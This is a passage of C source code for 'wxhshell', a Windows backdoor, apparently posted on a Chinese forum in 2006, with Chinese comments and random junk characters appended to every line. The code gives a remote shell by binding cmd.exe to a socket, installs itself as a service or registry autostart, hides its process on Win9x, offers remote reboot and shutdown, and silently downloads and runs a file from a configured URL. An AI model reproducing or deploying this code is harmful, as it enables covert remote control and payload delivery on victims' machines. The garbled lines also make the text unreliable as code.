  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \{+7`4g  
  } 6aQ{EO-]'=  
  else { Ok({Al1A,w  
60AX2-sdJ,  
    switch(cmd[0]) { ~rY<y%K  
  wQnr*kyza  
  // 帮助 K{>O. 5  
  case '?': { #8|;Q`Or:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <k^9l6@  
    break; WM=kr$/3  
  } -07(#>  
  // 安装 B{1+0k  
  case 'i': { TJsT .DWW~  
    if(Install()) 9f,HjRP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E4y"$U%.  
    else ! 2Y, a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l/rhA6kEU  
    break; gYzKUX@  
    } 9fl !CG  
  // 卸载 N}F G%a  
  case 'r': { !FpMO`m  
    if(Uninstall()) 4 <]QMA0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e$>5GM  
    else F/EHU?_EI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [S</QS!  
    break; <!OP b(g2  
    } tg8VFH2q.z  
  // 显示 wxhshell 所在路径 29Q5s$YD@  
  case 'p': { [sNn^x  
    char svExeFile[MAX_PATH]; S-f3rL[?  
    strcpy(svExeFile,"\n\r"); 2,QkktJLo  
      strcat(svExeFile,ExeFile); qs-:JmA_w  
        send(wsh,svExeFile,strlen(svExeFile),0); Y @.JW  
    break; (uV7N7 <1  
    } U-n33ty`H  
  // 重启 s9[v_(W  
  case 'b': { At bqj?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Qc^A  
    if(Boot(REBOOT)) p Y>yJ)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca1)>1 Vz  
    else { (J^ Tss  
    closesocket(wsh); o!\O)  
    ExitThread(0); ]B,S<*h  
    } b0t];Gc%b  
    break; H8-,gV  
    } 9I.v?Tap  
  // 关机 .cZ&~ N  
  case 'd': { ;_Rx|~!!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1@nR.v"$  
    if(Boot(SHUTDOWN)) x6)   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RXWjFv~/  
    else { e&0B4wVAQ  
    closesocket(wsh); zw5~|<  
    ExitThread(0); Le3S;SY&  
    } o$-8V:)6d  
    break; v\MH;DW^Z  
    } )E[5lD61  
  // 获取shell n3|~X/I  
  case 's': { U<6k!Y9ny  
    CmdShell(wsh); dl":?D4H  
    closesocket(wsh); 'g=yJ  
    ExitThread(0); RD_;us@&&*  
    break; vy"Lsr3  
  } ;!~;05^iD  
  // 退出 dIpt&nH&$  
  case 'x': { G8;S`-D1a,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rf`Br\g8  
    CloseIt(wsh); nL:vRJr-$  
    break; 4 ^+hw;  
    } MW4dPoa  
  // 离开 PZ ogN  
  case 'q': { 93!a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X  ]a>  
    closesocket(wsh); 3x=F  
    WSACleanup(); _E30t( _.  
    exit(1); k]>k1Mi=  
    break; ;Q"F@v}18  
        } Czci6 Lz  
  } Sm Ei _u]'  
  } H_AV3 ;  
VG8rd'Z  
  // 提示信息 O\D({>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |@@mq!>-  
} ./fEx 'E  
  } ~F(+uJbO  
RV$+g.4  
  return; "FXS;Jf  
} v =?V{"wk!  
AngECkF-  
// shell模块句柄 U1"t|KW8  
int CmdShell(SOCKET sock) @B'Mu:|f  
{ W8P**ze4)  
STARTUPINFO si; R Nv<kw  
ZeroMemory(&si,sizeof(si)); HJ'93,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8uGPyH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ffxk] o&%c  
PROCESS_INFORMATION ProcessInfo; qIqk@u  
char cmdline[]="cmd"; c df ll+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XeB>V.<y  
  return 0; A5`7o9  
} <eh(~  
xXx`a\i  
// 自身启动模式 h#n8mtt&i  
int StartFromService(void) ;OPCBdr  
{ Z*TW;h0ZQ3  
typedef struct _kx  
{ EU@mrm?  
  DWORD ExitStatus; QhG-1P3#  
  DWORD PebBaseAddress; Gzir>'d2'V  
  DWORD AffinityMask; bMUIe\/v[  
  DWORD BasePriority;  vV[dJ%  
  ULONG UniqueProcessId; 0%qUTGj  
  ULONG InheritedFromUniqueProcessId; (En\odbvt  
}   PROCESS_BASIC_INFORMATION; ~r!5d@f.6  
(wlsn6h  
PROCNTQSIP NtQueryInformationProcess; _eQ P0N  
a?Y1G3U'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rqFs[1wr>R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vl5n%m H>^  
O7dFz)$  
  HANDLE             hProcess; cyhD%sB[D9  
  PROCESS_BASIC_INFORMATION pbi; 8@fDn(]w  
O9|'8"AF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); epR~Rlw>2  
  if(NULL == hInst ) return 0; )PG,K 4z  
L@z !,r,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r;XQ i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NI1HUUZz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &V?q d{39  
v2n0[b0  
  if (!NtQueryInformationProcess) return 0; >Y/[zf I2  
y\_S11{v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N#u8{\|8]  
  if(!hProcess) return 0; O|>1~^w  
#c^Q<&B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  [;=WnG  
Y1 P[^ws  
  CloseHandle(hProcess); |g7h#F~  
E~>6*_?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); reA8=>b/  
if(hProcess==NULL) return 0; `oMeR]~  
ya{>=  
HMODULE hMod; SznE:+  
char procName[255]; +hg\DqO^M  
unsigned long cbNeeded; Y/S3)o  
2*citB{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $CmX &%L=  
vaj66nV  
  CloseHandle(hProcess); IPO[J^#Me  
O8r"M8  
if(strstr(procName,"services")) return 1; // 以服务启动 ^)q2\ YE;  
hf<$vRti>  
  return 0; // 注册表启动 UPKi/)C;  
} 7rSUSra  
^@Qi&g`lr?  
// 主模块 lk +K+Ra/  
int StartWxhshell(LPSTR lpCmdLine) DVhTb  
{ 1qC:3 ;P  
  SOCKET wsl; mbBRuPEa=u  
BOOL val=TRUE; Uxemlp%%*  
  int port=0; 5b#6 Y  
  struct sockaddr_in door; 4*vas]  
=4e=wAO(i  
  if(wscfg.ws_autoins) Install(); p{a]pG+3  
8'lhp2#h  
port=atoi(lpCmdLine); DLYZsWA,  
n r>{ uTa  
if(port<=0) port=wscfg.ws_port; cU*lB!  
H\I!J@6g  
  WSADATA data;  <8)s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F36ViN\b  
A'( 7VJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *yaX:,'\$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .gN$N=7<  
  door.sin_family = AF_INET; VxN64;|=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (b%y$D  
  door.sin_port = htons(port); 8A:^K:Q  
%%~}Lw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4$aO;Z_  
closesocket(wsl); z@~&Kwf\}  
return 1; >C3NtGvy  
} Y_@"v#,  
A$~xG(  
  if(listen(wsl,2) == INVALID_SOCKET) { =u8D!AxT  
closesocket(wsl); 2Nn1-wdhb  
return 1; 5$oewjLO  
} ^MT9n  
  Wxhshell(wsl); ChTXvkdH  
  WSACleanup(); +SQjX7] %  
kV ,G,wo  
return 0; |:9Ir^  
14D 7U/zer  
} *w/WHQ`xI  
_;:rkC fj  
// 以NT服务方式启动 8rwYNb.P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R|1xXDLm*E  
{ 0HR|aqPo  
DWORD   status = 0; ck+b/.gw`  
  DWORD   specificError = 0xfffffff; qon{ g  
L"foL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C4{\@v}t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ISS\uj63M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s8_aL)@f  
  serviceStatus.dwWin32ExitCode     = 0; :Sc8PLT  
  serviceStatus.dwServiceSpecificExitCode = 0; z Bt`L,^  
  serviceStatus.dwCheckPoint       = 0; :,kU#eZ$-  
  serviceStatus.dwWaitHint       = 0; Vf 0fT?/K  
\C K(;J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xHB/]Vd-  
  if (hServiceStatusHandle==0) return; o-~~,n\  
nMG rG  
status = GetLastError(); |rFR8srPG  
  if (status!=NO_ERROR) 9k:W1wgH1  
{ /zG +]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >+ ]R4  
    serviceStatus.dwCheckPoint       = 0; e3eVvl5]  
    serviceStatus.dwWaitHint       = 0; sS2_-X[_  
    serviceStatus.dwWin32ExitCode     = status; uuSR%KK]|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1OJ*wI*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8?7kIin  
    return; 3Q"F(uE v^  
  } .G}k/`a  
R zS|dGNQE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bar0{!Y"  
  serviceStatus.dwCheckPoint       = 0; 5g``30:o  
  serviceStatus.dwWaitHint       = 0; WRD A `  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2@ 9pr  
} >?5xDbRj  
fw' r.  
// 处理NT服务事件,比如:启动、停止 MBB5wj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r219M)D?  
{ s>|Z7[*  
switch(fdwControl) 0e+W/Tq  
{ >5;N64]!)  
case SERVICE_CONTROL_STOP: ,?g=U8y|  
  serviceStatus.dwWin32ExitCode = 0; sEce{"VC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z2w;oM$g  
  serviceStatus.dwCheckPoint   = 0; 6F`qi:a+  
  serviceStatus.dwWaitHint     = 0; #JA}LA"l  
  { 2{ o0@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ -ISR7D  
  } LJGJ|P  
  return; r C_d$Jv  
case SERVICE_CONTROL_PAUSE:  hq<5lE^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TDlZ!$g(  
  break; e?V,fzg  
case SERVICE_CONTROL_CONTINUE: q2e]3{l3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bj@xqAGl  
  break; Q,.By&  
case SERVICE_CONTROL_INTERROGATE: 3;*z3;#}  
  break; /_V'DJV  
}; dv;9QCc'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P:sAqvH6  
} +z\\VD  
XGfzEld2"  
// 标准应用程序主函数 D_d|=i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q|Pbt(44  
{ n]+.  
sV u k  
// 获取操作系统版本 .H8mRvd?  
OsIsNt=GetOsVer(); %}C9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &1wpGJqm  
rA,CQypo  
  // 从命令行安装 Xv0F:1  
  if(strpbrk(lpCmdLine,"iI")) Install(); D?e"U_  
Dg~ [#C-  
  // 下载执行文件 S5N@\ x  
if(wscfg.ws_downexe) { 3bH~';<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  tPA:_  
  WinExec(wscfg.ws_filenam,SW_HIDE); T2wv0sHlt  
} Z>8eD|m%2  
t5paY w-b  
if(!OsIsNt) { d.`&0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ah-8"`E  
HideProc(); `<^*jB@P  
StartWxhshell(lpCmdLine); }W$8M>l  
} ^'vIOq-1v  
else b^ sb]bZW  
  if(StartFromService()) wcZbmJ:  
  // 以服务方式启动 vM`7s[oAK  
  StartServiceCtrlDispatcher(DispatchTable); x;j{} %  
else WSLy}@`Vx  
  // 普通方式启动 [Ct=F|  
  StartWxhshell(lpCmdLine);  %[`a  
|5,<jyp  
return 0; -es"0wS<u  
}
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只看该作者 1 发表于: 2006-10-10
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